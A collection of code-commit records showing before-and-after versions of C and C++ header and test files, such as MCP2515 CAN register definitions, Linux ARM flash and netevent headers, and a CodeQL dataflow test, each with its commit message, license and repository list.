#ifndef MCP2515_LIB_DEFINITIONS_H_ #define MCP2515_LIB_DEFINITIONS_H_ /******************************************************************************* SPI Commands *******************************************************************************/ #define SPI_READ 0x03 /******************************************************************************* Register Addresses - specific info about each register can be found in the datasheet. *******************************************************************************/ #define CANINTF 0x2C /******************************************************************************* Interrupt Flag Bit Masks - each bit mask aligns with a position in the CANINTF register. Specific info about each flag can be found in the datasheet. *******************************************************************************/ #define MERRF 0x80 #define WAKIF 0x40 #define ERRIF 0x20 #define TX2IF 0x10 #define TX1IF 0x08 #define TX0IF 0x04 #define RX1IF 0x02 #define RX0IF 0x01 /******************************************************************************* Flag Test Macro - determines whether the specified flag is set. - flags: a value read from the CANINTF register - bit_mask: one of the Interrupt Flag Bit Masks *******************************************************************************/ #define IS_FLAG_SET(flags, bit_mask) (flags & bit_mask) #endif
#ifndef MCP2515_LIB_DEFINITIONS_H_ #define MCP2515_LIB_DEFINITIONS_H_ /******************************************************************************* SPI Commands *******************************************************************************/ #define SPI_READ 0x03 #define SPI_BIT_MODIFY 0x05 /******************************************************************************* Register Addresses - specific info about each register can be found in the datasheet. *******************************************************************************/ #define CANINTF 0x2C /******************************************************************************* Interrupt Flag Bit Masks - each bit mask aligns with a position in the CANINTF register. Specific info about each flag can be found in the datasheet. *******************************************************************************/ #define MERRF 0x80 #define WAKIF 0x40 #define ERRIF 0x20 #define TX2IF 0x10 #define TX1IF 0x08 #define TX0IF 0x04 #define RX1IF 0x02 #define RX0IF 0x01 /******************************************************************************* Flag Test Macro - determines whether the specified flag is set. - flags: a value read from the CANINTF register - bit_mask: one of the Interrupt Flag Bit Masks *******************************************************************************/ #define IS_FLAG_SET(flags, bit_mask) (flags & bit_mask) #endif
Add SPI bit modify command definition
Add SPI bit modify command definition
C
apache-2.0
jnod/mcp2515_lib,jnod/mcp2515_lib
67189e4682c9f0a3b7aeffdea5d05cd39ec5f5c5
cmd/gvedit/csettings.h
cmd/gvedit/csettings.h
#ifndef CSETTINGS_H #define CSETTINGS_H class MdiChild; #include <QDialog> #include <QString> #include "ui_settings.h" #ifdef HAVE_CONFIG_H #include "config.h" #endif #include "gvc.h" #include "gvio.h" class CFrmSettings : public QDialog { Q_OBJECT public: CFrmSettings(); int runSettings(MdiChild* m); int showSettings(MdiChild* m); int cur; int drawGraph(); MdiChild* getActiveWindow(); QString graphData; private slots: void outputSlot(); void addSlot(); void helpSlot(); void cancelSlot(); void okSlot(); void newSlot(); void openSlot(); void saveSlot(); private: //Actions Agraph_t* graph; MdiChild* activeWindow; GVC_t* gvc; QAction* outputAct; QAction* addAct; QAction* helpAct; QAction* cancelAct; QAction* okAct; QAction* newAct; QAction* openAct; QAction* saveAct; //METHODS QString buildOutputFile(QString _fileName); void addAttribute(QString _scope,QString _name,QString _value); bool loadLayouts(); bool loadRenderers(); void refreshContent(); void saveContent(); void setActiveWindow(MdiChild* m); bool loadGraph(MdiChild* m); bool createLayout(); bool renderLayout(); }; #endif
#ifndef CSETTINGS_H #define CSETTINGS_H class MdiChild; #include <QDialog> #include <QString> #include "ui_settings.h" #ifdef HAVE_CONFIG_H #include "config.h" #endif #include "gvc.h" /* #include "gvio.h" */ class CFrmSettings : public QDialog { Q_OBJECT public: CFrmSettings(); int runSettings(MdiChild* m); int showSettings(MdiChild* m); int cur; int drawGraph(); MdiChild* getActiveWindow(); QString graphData; private slots: void outputSlot(); void addSlot(); void helpSlot(); void cancelSlot(); void okSlot(); void newSlot(); void openSlot(); void saveSlot(); private: //Actions Agraph_t* graph; MdiChild* activeWindow; GVC_t* gvc; QAction* outputAct; QAction* addAct; QAction* helpAct; QAction* cancelAct; QAction* okAct; QAction* newAct; QAction* openAct; QAction* saveAct; //METHODS QString buildOutputFile(QString _fileName); void addAttribute(QString _scope,QString _name,QString _value); bool loadLayouts(); bool loadRenderers(); void refreshContent(); void saveContent(); void setActiveWindow(MdiChild* m); bool loadGraph(MdiChild* m); bool createLayout(); bool renderLayout(); }; #endif
Comment out unnecessary use of gvio.h
Comment out unnecessary use of gvio.h
C
epl-1.0
jho1965us/graphviz,pixelglow/graphviz,MjAbuz/graphviz,pixelglow/graphviz,MjAbuz/graphviz,jho1965us/graphviz,kbrock/graphviz,BMJHayward/graphviz,tkelman/graphviz,BMJHayward/graphviz,BMJHayward/graphviz,jho1965us/graphviz,jho1965us/graphviz,MjAbuz/graphviz,pixelglow/graphviz,BMJHayward/graphviz,tkelman/graphviz,ellson/graphviz,jho1965us/graphviz,tkelman/graphviz,ellson/graphviz,MjAbuz/graphviz,tkelman/graphviz,tkelman/graphviz,jho1965us/graphviz,BMJHayward/graphviz,ellson/graphviz,tkelman/graphviz,kbrock/graphviz,tkelman/graphviz,jho1965us/graphviz,ellson/graphviz,MjAbuz/graphviz,BMJHayward/graphviz,kbrock/graphviz,kbrock/graphviz,jho1965us/graphviz,pixelglow/graphviz,jho1965us/graphviz,BMJHayward/graphviz,pixelglow/graphviz,ellson/graphviz,pixelglow/graphviz,ellson/graphviz,kbrock/graphviz,MjAbuz/graphviz,pixelglow/graphviz,kbrock/graphviz,BMJHayward/graphviz,ellson/graphviz,ellson/graphviz,pixelglow/graphviz,BMJHayward/graphviz,kbrock/graphviz,BMJHayward/graphviz,MjAbuz/graphviz,ellson/graphviz,kbrock/graphviz,tkelman/graphviz,tkelman/graphviz,pixelglow/graphviz,kbrock/graphviz,ellson/graphviz,jho1965us/graphviz,tkelman/graphviz,kbrock/graphviz,MjAbuz/graphviz,pixelglow/graphviz,jho1965us/graphviz,MjAbuz/graphviz,ellson/graphviz,kbrock/graphviz,tkelman/graphviz,MjAbuz/graphviz,BMJHayward/graphviz,pixelglow/graphviz,MjAbuz/graphviz
48aef9784ec1f68281c03d735bfcca0b60262752
Modules/ThirdParty/OssimPlugins/src/ossim/ossimTraceHelpers.h
Modules/ThirdParty/OssimPlugins/src/ossim/ossimTraceHelpers.h
//---------------------------------------------------------------------------- // // "Copyright Centre National d'Etudes Spatiales" // // License: LGPL-2 // // See LICENSE.txt file in the top level directory for more details. // //---------------------------------------------------------------------------- // $Id$ #ifndef ossimTraceHelpers_h #define ossimTraceHelpers_h #include <ossim/base/ossimTrace.h> #include <ossim/base/ossimNotify.h> namespace ossimplugins { /** Helper class to log automatically entering and leaving scopes. * @warning Not meant to be used directly. Use \c SCOPED_LOG instead. */ struct ScopedLogger { ScopedLogger(ossimTrace & channel, char const* module, ossimNotifyLevel level = ossimNotifyLevel_DEBUG) : m_channel(channel) , MODULE(module) { if (m_channel()) { ossimNotify(ossimNotifyLevel_DEBUG) << MODULE << " entered...\n"; } } ~ScopedLogger() { if (m_channel()) { ossimNotify(ossimNotifyLevel_DEBUG) << MODULE << " left...\n"; } } private: ScopedLogger(ScopedLogger const&); ScopedLogger& operator=(ScopedLogger const&); ossimTrace & m_channel; char const* MODULE; }; #define SCOPED_LOG(channel, msg) \ SCOPED_LOG_NAME(__LINE__)(channel, msg) #define SCOPED_LOG_NAME(x) \ SCOPED_LOG_NAME0(x) #define SCOPED_LOG_NAME0(x) \ ossimplugins::ScopedLogger slog ## x } // ossimplugins namespace #endif // ossimTraceHelpers_h
Add helper macro to log scope entry and exit
ENH: Add helper macro to log scope entry and exit
C
apache-2.0
orfeotoolbox/OTB,orfeotoolbox/OTB,orfeotoolbox/OTB,orfeotoolbox/OTB,orfeotoolbox/OTB,orfeotoolbox/OTB
861e37ad5969f764574722f4cfc0734511cbac7f
include/asm-arm/mach/flash.h
include/asm-arm/mach/flash.h
/* * linux/include/asm-arm/mach/flash.h * * Copyright (C) 2003 Russell King, All Rights Reserved. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. */ #ifndef ASMARM_MACH_FLASH_H #define ASMARM_MACH_FLASH_H struct mtd_partition; /* * map_name: the map probe function name * name: flash device name (eg, as used with mtdparts=) * width: width of mapped device * init: method called at driver/device initialisation * exit: method called at driver/device removal * set_vpp: method called to enable or disable VPP * parts: optional array of mtd_partitions for static partitioning * nr_parts: number of mtd_partitions for static partitoning */ struct flash_platform_data { const char *map_name; const char *name; unsigned int width; int (*init)(void); void (*exit)(void); void (*set_vpp)(int on); struct mtd_partition *parts; unsigned int nr_parts; }; #endif
/* * linux/include/asm-arm/mach/flash.h * * Copyright (C) 2003 Russell King, All Rights Reserved. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. */ #ifndef ASMARM_MACH_FLASH_H #define ASMARM_MACH_FLASH_H struct mtd_partition; struct mtd_info; /* * map_name: the map probe function name * name: flash device name (eg, as used with mtdparts=) * width: width of mapped device * init: method called at driver/device initialisation * exit: method called at driver/device removal * set_vpp: method called to enable or disable VPP * mmcontrol: method called to enable or disable Sync. Burst Read in OneNAND * parts: optional array of mtd_partitions for static partitioning * nr_parts: number of mtd_partitions for static partitoning */ struct flash_platform_data { const char *map_name; const char *name; unsigned int width; int (*init)(void); void (*exit)(void); void (*set_vpp)(int on); void (*mmcontrol)(struct mtd_info *mtd, int sync_read); struct mtd_partition *parts; unsigned int nr_parts; }; #endif
Add memory control method to support OneNAND sync burst read
[ARM] 3057/1: Add memory control method to support OneNAND sync burst read Patch from Kyungmin Park This patch is required for OneNAND MTD to passing the OneNAND sync. burst read Signed-off-by: Kyungmin Park Signed-off-by: Russell King <[email protected]>
C
apache-2.0
TeamVee-Kanas/android_kernel_samsung_kanas,KristFoundation/Programs,TeamVee-Kanas/android_kernel_samsung_kanas,KristFoundation/Programs,TeamVee-Kanas/android_kernel_samsung_kanas,TeamVee-Kanas/android_kernel_samsung_kanas,KristFoundation/Programs,TeamVee-Kanas/android_kernel_samsung_kanas,KristFoundation/Programs,KristFoundation/Programs,KristFoundation/Programs
6dcac4a16d43bc76b5e4492233cd170699f30875
CollapsibleTable/GWCollapsibleTable/GWCollapsibleTable.h
CollapsibleTable/GWCollapsibleTable/GWCollapsibleTable.h
// // GWCollapsibleTable.h // CollapsibleTable // // Created by Greg Wang on 13-1-3. // Copyright (c) 2013年 Greg Wang. All rights reserved. // @protocol GWCollapsibleTableDataSource <NSObject> - (BOOL)tableView:(UITableView *)tableView canCollapseSection:(NSInteger)section; - (UITableViewCell *)tableView:(UITableView *)tableView headerCellForCollapsibleSection:(NSInteger)section; - (UITableViewCell *)tableView:(UITableView *)tableView bodyCellForRowAtIndexPath:(NSIndexPath *)indexPath; - (NSInteger)tableView:(UITableView *)tableView numberOfBodyRowsInSection:(NSInteger)section; // TODO: Support Editing & Reordering Methods @end @protocol GWCollapsibleTableDelegate <NSObject> - (void)tableView:(UITableView *)tableView didSelectBodyRowAtIndexPath:(NSIndexPath *)indexPath; // TODO: Support Extra Selection Management Methods // TODO: Support Editing & Reordering Methods @end
// // GWCollapsibleTable.h // CollapsibleTable // // Created by Greg Wang on 13-1-3. // Copyright (c) 2013年 Greg Wang. All rights reserved. // #import "NSObject+GWCollapsibleTable.h" #import "UITableView+GWCollapsibleTable.h" @protocol GWCollapsibleTableDataSource <NSObject> - (BOOL)tableView:(UITableView *)tableView canCollapseSection:(NSInteger)section; - (UITableViewCell *)tableView:(UITableView *)tableView headerCellForCollapsibleSection:(NSInteger)section; - (UITableViewCell *)tableView:(UITableView *)tableView bodyCellForRowAtIndexPath:(NSIndexPath *)indexPath; - (NSInteger)tableView:(UITableView *)tableView numberOfBodyRowsInSection:(NSInteger)section; // TODO: Support Editing & Reordering Methods @end @protocol GWCollapsibleTableDelegate <NSObject> - (void)tableView:(UITableView *)tableView didSelectBodyRowAtIndexPath:(NSIndexPath *)indexPath; @optional - (void)tableView:(UITableView *)tableView willExpandSection:(NSInteger)section; - (void)tableView:(UITableView *)tableView willCollapseSection:(NSInteger)section; // TODO: Support Extra Selection Management Methods // TODO: Support Editing & Reordering Methods @end
Add necessary interfaces Add optional delegate methods
Add necessary interfaces Add optional delegate methods
C
mit
yocaminobien/GWCollapsibleTable,gregwym/GWCollapsibleTable
e419ea01407d4fa1fcb4c422d0169edb59dafddb
cpp/ql/test/library-tests/dataflow/fields/struct_init.c
cpp/ql/test/library-tests/dataflow/fields/struct_init.c
void sink(void *o); void *user_input(void); struct AB { void *a; void *b; }; struct Outer { struct AB nestedAB; struct AB *pointerAB; }; void absink(struct AB *ab) { sink(ab->a); // flow x3 [NOT DETECTED] sink(ab->b); // no flow } int struct_init(void) { struct AB ab = { user_input(), 0 }; sink(ab.a); // flow [NOT DETECTED] sink(ab.b); // no flow absink(&ab); struct Outer outer = { { user_input(), 0 }, &ab, }; sink(outer.nestedAB.a); // flow [NOT DETECTED] sink(outer.nestedAB.b); // no flow sink(outer.pointerAB->a); // flow [NOT DETECTED] sink(outer.pointerAB->b); // no flow absink(&outer.nestedAB); absink(outer.pointerAB); }
Test showing no flow through aggregate init
C++: Test showing no flow through aggregate init
C
mit
github/codeql,github/codeql,github/codeql,github/codeql,github/codeql,github/codeql,github/codeql,github/codeql,github/codeql,github/codeql,github/codeql,github/codeql,github/codeql,github/codeql,github/codeql
61768b0b8e04f3a2c8353db4c2e332b499a5c03a
Test/MathLib.h
Test/MathLib.h
#pragma once //MathLib.h #ifndef _MATHLIB_ #define _MATHLIB_ #endif
#pragma once //MathLib.h #ifndef _MATHLIB_ #define _MATHLIB_ //Make some change to check if new branch is created. #endif
Make some change to check if new branch is created.
Make some change to check if new branch is created.
C
mit
mrlitong/fpsgame,mrlitong/fpsgame,mrlitong/Game-Engine-Development-Usage,mrlitong/fpsgame
7fb448ae7e6ad876b225f67d8ef064a0f93e0988
src/medida/reporting/abstract_polling_reporter.h
src/medida/reporting/abstract_polling_reporter.h
// // Copyright (c) 2012 Daniel Lundin // #ifndef MEDIDA_REPORTING_ABSTRACT_POLLING_REPORTER_H_ #define MEDIDA_REPORTING_ABSTRACT_POLLING_REPORTER_H_ #include <memory> #include "medida/types.h" namespace medida { namespace reporting { class AbstractPollingReporter { public: AbstractPollingReporter(); virtual ~AbstractPollingReporter(); virtual void Shutdown(); virtual void Start(Clock::duration period = std::chrono::seconds(5)); virtual void Run(); private: class Impl; std::unique_ptr<Impl> impl_; }; } } #endif // MEDIDA_REPORTING_ABSTRACT_POLLING_REPORTER_H_
// // Copyright (c) 2012 Daniel Lundin // #ifndef MEDIDA_REPORTING_ABSTRACT_POLLING_REPORTER_H_ #define MEDIDA_REPORTING_ABSTRACT_POLLING_REPORTER_H_ #include <memory> #include "medida/types.h" namespace medida { namespace reporting { class AbstractPollingReporter { public: AbstractPollingReporter(); virtual ~AbstractPollingReporter(); virtual void Shutdown(); // start should never be called after calling shutdown on this class // (behavior if start after shutdown is undefined). virtual void Start(Clock::duration period = std::chrono::seconds(5)); virtual void Run(); private: class Impl; std::unique_ptr<Impl> impl_; }; } } #endif // MEDIDA_REPORTING_ABSTRACT_POLLING_REPORTER_H_
Comment on abstract-polling-reporter to handle the shutdown followed by start racing to modify thread before it can be joined, it is not a valid usecase anyway, so handling it thru comment.
Comment on abstract-polling-reporter to handle the shutdown followed by start racing to modify thread before it can be joined, it is not a valid usecase anyway, so handling it thru comment.
C
apache-2.0
janmejay/medida,janmejay/medida,janmejay/medida,janmejay/medida
22ecde87440e2be0c544fbe9083f1bb893c67663
tests/regression/02-base/49-unknown_func_union.c
tests/regression/02-base/49-unknown_func_union.c
#include <stdlib.h> #include <stdio.h> typedef struct list { int val; struct list *next; } list_t; typedef union either { int value; struct list node; } either_t; // void mutate_either(either_t e){ // list_t *next = e.node.next; // next->val = 42; // } int main(){ list_t first; list_t second; first.next = &second; first.val = 1; second.next = NULL; second.val = 2; either_t e; e.node = first; // When passing a union to an unknown function, reachable memory should be invalidated mutate_either(e); assert(second.val == 2); //UNKNOWN! return 0; }
Add test that passes union to unknown function
Add test that passes union to unknown function
C
mit
goblint/analyzer,goblint/analyzer,goblint/analyzer,goblint/analyzer,goblint/analyzer
6e8f38b090c65c05dbcd4496081c5b4a09e0e375
include/zephyr/CExport.h
include/zephyr/CExport.h
#ifndef ZEPHYR_CEXPORT_H #define ZEPHYR_CEXPORT_H #ifdef __cplusplus #define Z_VAR(ns, n) n #else #define Z_VAR(ns, n) ns ## _ ## n #endif #ifdef __cplusplus #define Z_NS_START(n) namespace n { #define Z_NS_END } #else #define Z_NS_START(n) #define Z_NS_END #endif #ifdef __cplusplus #define Z_ENUM_CLASS(ns, n) enum class n #else #define Z_ENUM_CLASS(ns, n) enum Z_VAR(ns, n) #endif #ifdef __cplusplus #define Z_ENUM(ns, n) enum n #else #define Z_ENUM(ns, n) enum Z_VAR(ns, n) #endif #ifdef __cplusplus #define Z_STRUCT(ns, n) struct n #else #define Z_STRUCT(ns, n) struct Z_VAR(ns, n) #endif #endif
#ifndef ZEPHYR_CEXPORT_H #define ZEPHYR_CEXPORT_H /* declare a namespaced name */ #ifdef __cplusplus #define ZD(ns) #else #define ZD(ns) ns_ #endif /* use a namespaced name */ #ifdef __cplusplus #define ZU(ns) ns:: #else #define ZU(ns) ns_ #endif /* declare a namespace */ #ifdef __cplusplus #define Z_NS_START(n) namespace n { #define Z_NS_END } #else #define Z_NS_START(n) #define Z_NS_END #endif /* enum class vs enum */ #ifdef __cplusplus #define Z_ENUM_CLASS enum class #else #define Z_ENUM_CLASS enum #endif #endif
Move to namespace include/use model
Move to namespace include/use model Now if you want to declare a namespaced name, use ZD() If you want to use a namesapce name, use ZU()
C
mit
DeonPoncini/zephyr
000ad953336509328f3540237d568f1387511943
include/graph.h
include/graph.h
#ifndef __GRAPH_H__ #define __GRAPH_H__ #include "resources.h" class graph { private: //For data structures struct vertex; struct edge { vertex *endpoint; edge *opposite_edge, *next_edge; double direction; bool in_tree; uint index; conductor_info elect_info; edge(); }; struct vertex { edge *first_edge; bool bfs_mark; vertex(); }; vertex *vertex_memory_pool; edge *edge_memory_pool; uint vertex_number, edge_number; private: //For internal functions void add_edge(edge *, vertex *, vertex *, conductor_info, char, uint); void find_tree_path(vertex *, vertex *, std::vector<edge *> &); arma::cx_rowvec flow_conservation_equation(vertex *); std::pair<arma::cx_rowvec, comp> circular_equation(vertex *, edge *); void bfs(vertex *, arma::cx_mat &, arma::cx_vec &, uint &); void find_all_circular(arma::cx_mat &, arma::cx_vec &, uint &); public: //For user ports graph(uint, const std::vector<conductor> &); void get_current(std::vector<comp> &); ~graph(); }; #endif
#ifndef __GRAPH_H__ #define __GRAPH_H__ #include "resources.h" class graph { private: //For data structures struct vertex; struct edge { vertex *endpoint; edge *opposite_edge, *next_edge; double direction; bool in_tree; uint index; conductor_info elect_info; edge(); }; struct vertex { edge *first_edge; bool bfs_mark; vertex(); }; vertex *vertex_memory_pool; edge *edge_memory_pool; uint vertex_number, edge_number; private: //For internal functions void add_edge(edge *, vertex *, vertex *, conductor_info, char, uint); void find_tree_path(uint, vertex *, vertex *, std::vector<edge *> &); arma::cx_rowvec flow_conservation_equation(vertex *); std::pair<arma::cx_rowvec, comp> circular_equation(vertex *, edge *); void bfs(vertex *, arma::cx_mat &, arma::cx_vec &, uint &); void find_all_circular(arma::cx_mat &, arma::cx_vec &, uint &); public: //For user ports graph(uint, const std::vector<conductor> &); void get_current(std::vector<comp> &); ~graph(); }; #endif
Change the function of find_tree_path
Change the function of find_tree_path
C
mit
try-skycn/PH116-FinalProject
9d0b2b728b9a431546b11252793844bf7506ec84
test/Headers/arm-neon-header.c
test/Headers/arm-neon-header.c
// RUN: %clang_cc1 -triple thumbv7-apple-darwin10 -target-cpu cortex-a8 -fsyntax-only -Wvector-conversions -verify %s // RUN: %clang_cc1 -x c++ -triple thumbv7-apple-darwin10 -target-cpu cortex-a8 -fsyntax-only -Wvector-conversions -verify %s #include <arm_neon.h> // Radar 8228022: Should not report incompatible vector types. int32x2_t test(int32x2_t x) { return vshr_n_s32(x, 31); }
// RUN: %clang_cc1 -triple thumbv7-apple-darwin10 -target-cpu cortex-a8 -fsyntax-only -Wvector-conversions -verify %s // RUN: %clang_cc1 -triple thumbv7-apple-darwin10 -target-cpu cortex-a8 -fsyntax-only -fno-lax-vector-conversions -verify %s // RUN: %clang_cc1 -x c++ -triple thumbv7-apple-darwin10 -target-cpu cortex-a8 -fsyntax-only -Wvector-conversions -verify %s #include <arm_neon.h> // Radar 8228022: Should not report incompatible vector types. int32x2_t test(int32x2_t x) { return vshr_n_s32(x, 31); }
Test use of arm_neon.h with -fno-lax-vector-conversions.
Test use of arm_neon.h with -fno-lax-vector-conversions. git-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@120642 91177308-0d34-0410-b5e6-96231b3b80d8
C
apache-2.0
llvm-mirror/clang,llvm-mirror/clang,llvm-mirror/clang,apple/swift-clang,apple/swift-clang,apple/swift-clang,llvm-mirror/clang,apple/swift-clang,llvm-mirror/clang,llvm-mirror/clang,apple/swift-clang,apple/swift-clang,apple/swift-clang,llvm-mirror/clang,apple/swift-clang,apple/swift-clang,llvm-mirror/clang,llvm-mirror/clang,llvm-mirror/clang,apple/swift-clang
ab2f0f4bc9ca50ccd01cb67194249b5a18b755eb
include/jive/vsdg/types.h
include/jive/vsdg/types.h
#ifndef JIVE_VSDG_TYPES_H #define JIVE_VSDG_TYPES_H #include <jive/vsdg/basetype.h> #include <jive/vsdg/statetype.h> #include <jive/vsdg/controltype.h> #endif
#ifndef JIVE_VSDG_TYPES_H #define JIVE_VSDG_TYPES_H #include <jive/vsdg/basetype.h> #include <jive/vsdg/statetype.h> #include <jive/vsdg/controltype.h> #include <jive/vsdg/valuetype.h> #endif
Add valuetype as "standard" type
Add valuetype as "standard" type Add to vsdg/types.h header to make it available as "standard" type.
C
lgpl-2.1
phate/jive,phate/jive,phate/jive
90e207ebe902197e6cccfff43e714a9bc08dfb37
io/socket/simple_server.h
io/socket/simple_server.h
#ifndef IO_SOCKET_SIMPLE_SERVER_H #define IO_SOCKET_SIMPLE_SERVER_H #include <io/socket/socket.h> /* * XXX * This is just one level up from using macros. Would be nice to use abstract * base classes and something a bit tidier. */ template<typename A, typename C, typename L> class SimpleServer { LogHandle log_; A arg_; L *server_; Action *accept_action_; Action *close_action_; Action *stop_action_; public: SimpleServer(LogHandle log, A arg, SocketAddressFamily family, const std::string& interface) : log_(log), arg_(arg), server_(NULL), accept_action_(NULL), close_action_(NULL), stop_action_(NULL) { server_ = L::listen(family, interface); if (server_ == NULL) HALT(log_) << "Unable to create listener."; INFO(log_) << "Listening on: " << server_->getsockname(); EventCallback *cb = callback(this, &SimpleServer::accept_complete); accept_action_ = server_->accept(cb); Callback *scb = callback(this, &SimpleServer::stop); stop_action_ = EventSystem::instance()->register_interest(EventInterestStop, scb); } ~SimpleServer() { ASSERT(server_ == NULL); ASSERT(accept_action_ == NULL); ASSERT(close_action_ == NULL); ASSERT(stop_action_ == NULL); } private: void accept_complete(Event e) { accept_action_->cancel(); accept_action_ = NULL; switch (e.type_) { case Event::Done: break; case Event::Error: ERROR(log_) << "Accept error: " << e; break; default: ERROR(log_) << "Unexpected event: " << e; break; } if (e.type_ == Event::Done) { Socket *client = (Socket *)e.data_; INFO(log_) << "Accepted client: " << client->getpeername(); new C(arg_, client); } EventCallback *cb = callback(this, &SimpleServer::accept_complete); accept_action_ = server_->accept(cb); } void close_complete(void) { close_action_->cancel(); close_action_ = NULL; ASSERT(server_ != NULL); delete server_; server_ = NULL; delete this; } void stop(void) { stop_action_->cancel(); stop_action_ = NULL; accept_action_->cancel(); accept_action_ = NULL; ASSERT(close_action_ == NULL); Callback *cb = callback(this, &SimpleServer::close_complete); close_action_ = server_->close(cb); } }; #endif /* !IO_SOCKET_SIMPLE_SERVER_H */
Add a simple server abstraction.
Add a simple server abstraction. git-svn-id: 9e2532540f1574e817ce42f20b9d0fb64899e451@776 4068ffdb-0463-0410-8185-8cc71e3bd399
C
bsd-2-clause
splbio/wanproxy,splbio/wanproxy,diegows/wanproxy,splbio/wanproxy,diegows/wanproxy,diegows/wanproxy
274b3426db25b8d63cbf25475e728ce1ee6caebd
include/net/netevent.h
include/net/netevent.h
#ifndef _NET_EVENT_H #define _NET_EVENT_H /* * Generic netevent notifiers * * Authors: * Tom Tucker <[email protected]> * Steve Wise <[email protected]> * * Changes: */ #ifdef __KERNEL__ #include <net/dst.h> struct netevent_redirect { struct dst_entry *old; struct dst_entry *new; }; enum netevent_notif_type { NETEVENT_NEIGH_UPDATE = 1, /* arg is struct neighbour ptr */ NETEVENT_PMTU_UPDATE, /* arg is struct dst_entry ptr */ NETEVENT_REDIRECT, /* arg is struct netevent_redirect ptr */ }; extern int register_netevent_notifier(struct notifier_block *nb); extern int unregister_netevent_notifier(struct notifier_block *nb); extern int call_netevent_notifiers(unsigned long val, void *v); #endif #endif
#ifndef _NET_EVENT_H #define _NET_EVENT_H /* * Generic netevent notifiers * * Authors: * Tom Tucker <[email protected]> * Steve Wise <[email protected]> * * Changes: */ #ifdef __KERNEL__ struct dst_entry; struct netevent_redirect { struct dst_entry *old; struct dst_entry *new; }; enum netevent_notif_type { NETEVENT_NEIGH_UPDATE = 1, /* arg is struct neighbour ptr */ NETEVENT_PMTU_UPDATE, /* arg is struct dst_entry ptr */ NETEVENT_REDIRECT, /* arg is struct netevent_redirect ptr */ }; extern int register_netevent_notifier(struct notifier_block *nb); extern int unregister_netevent_notifier(struct notifier_block *nb); extern int call_netevent_notifiers(unsigned long val, void *v); #endif #endif
Remove unnecessary inclusion of dst.h
[NET]: Remove unnecessary inclusion of dst.h The file net/netevent.h only refers to struct dst_entry * so it doesn't need to include dst.h. I've replaced it with a forward declaration. Signed-off-by: Herbert Xu <[email protected]> Signed-off-by: David S. Miller <[email protected]>
C
mit
KristFoundation/Programs,TeamVee-Kanas/android_kernel_samsung_kanas,KristFoundation/Programs,TeamVee-Kanas/android_kernel_samsung_kanas,KristFoundation/Programs,KristFoundation/Programs,TeamVee-Kanas/android_kernel_samsung_kanas,TeamVee-Kanas/android_kernel_samsung_kanas,TeamVee-Kanas/android_kernel_samsung_kanas,KristFoundation/Programs,KristFoundation/Programs
020bf65a067d187bdb2dd54a118f7b3f461535a1
include/log.h
include/log.h
#ifndef LOG_H #define LOG_H #include "types.h" #include <fstream> class Statement; class Exp; class LocationSet; class RTL; class Log { public: Log() { } virtual Log &operator<<(const char *str) = 0; virtual Log &operator<<(Statement *s); virtual Log &operator<<(Exp *e); virtual Log &operator<<(RTL *r); virtual Log &operator<<(int i); virtual Log &operator<<(char c); virtual Log &operator<<(double d); virtual Log &operator<<(ADDRESS a); virtual Log &operator<<(LocationSet *l); Log &operator<<(std::string& s) {return operator<<(s.c_str());} virtual ~Log() {}; virtual void tail(); }; class FileLogger : public Log { protected: std::ofstream out; public: FileLogger(); // Implemented in boomerang.cpp void tail(); virtual Log &operator<<(const char *str) { out << str << std::flush; return *this; } virtual ~FileLogger() {}; }; #endif
#ifndef LOG_H #define LOG_H #include "types.h" #include <fstream> class Statement; class Exp; class LocationSet; class RTL; class Log { public: Log() { } virtual Log &operator<<(const char *str) = 0; virtual Log &operator<<(Statement *s); virtual Log &operator<<(Exp *e); virtual Log &operator<<(RTL *r); virtual Log &operator<<(int i); virtual Log &operator<<(char c); virtual Log &operator<<(double d); virtual Log &operator<<(ADDRESS a); virtual Log &operator<<(LocationSet *l); Log &operator<<(std::string& s) {return operator<<(s.c_str());} virtual ~Log() {}; virtual void tail(); }; class FileLogger : public Log { protected: std::ofstream out; public: FileLogger(); // Implemented in boomerang.cpp void tail(); virtual Log &operator<<(const char *str) { out << str << std::flush; return *this; } virtual ~FileLogger() {}; }; // For older MSVC compilers #if defined(_MSC_VER) && (_MSC_VER <= 1200) static std::ostream& operator<<(std::ostream& s, QWord val) { char szTmp[42]; // overkill, but who counts sprintf(szTmp, "%I64u", val); s << szTmp; return s; } #endif #endif
Fix for older MSVC compilers without operator<< for long longs (not tested on MSVC6)
Fix for older MSVC compilers without operator<< for long longs (not tested on MSVC6)
C
bsd-3-clause
xujun10110/boomerang,xujun10110/boomerang,nemerle/boomerang,nemerle/boomerang,nemerle/boomerang,xujun10110/boomerang,TambourineReindeer/boomerang,TambourineReindeer/boomerang,nemerle/boomerang,nemerle/boomerang,nemerle/boomerang,nemerle/boomerang,xujun10110/boomerang,TambourineReindeer/boomerang,TambourineReindeer/boomerang,xujun10110/boomerang,xujun10110/boomerang,TambourineReindeer/boomerang,xujun10110/boomerang,TambourineReindeer/boomerang,TambourineReindeer/boomerang,TambourineReindeer/boomerang,xujun10110/boomerang,nemerle/boomerang
2eb40cde2d22b44b9d459da008fa9dcf8c39d3f2
StateMachine/StateMachine.h
StateMachine/StateMachine.h
#ifndef StateMachine_StateMachine_h #define StateMachine_StateMachine_h #import "LSStateMachine.h" #import "LSEvent.h" #import "LSTransition.h" #import "LSStateMachineMacros.h" #endif
#ifndef StateMachine_StateMachine_h #define StateMachine_StateMachine_h #import "LSStateMachine.h" #import "LSStateMachineMacros.h" #endif
Remove private headers from global public header
Remove private headers from global public header
C
mit
sergiou87/StateMachine,luisobo/StateMachine,sergiou87/StateMachine,brynbellomy/StateMachine-GCDThreadsafe,luisobo/StateMachine,brynbellomy/StateMachine-GCDThreadsafe
28504f18175b27a474e076bc7f07ae70cd9798e7
sandboxed_api/sandbox2/syscall_defs.h
sandboxed_api/sandbox2/syscall_defs.h
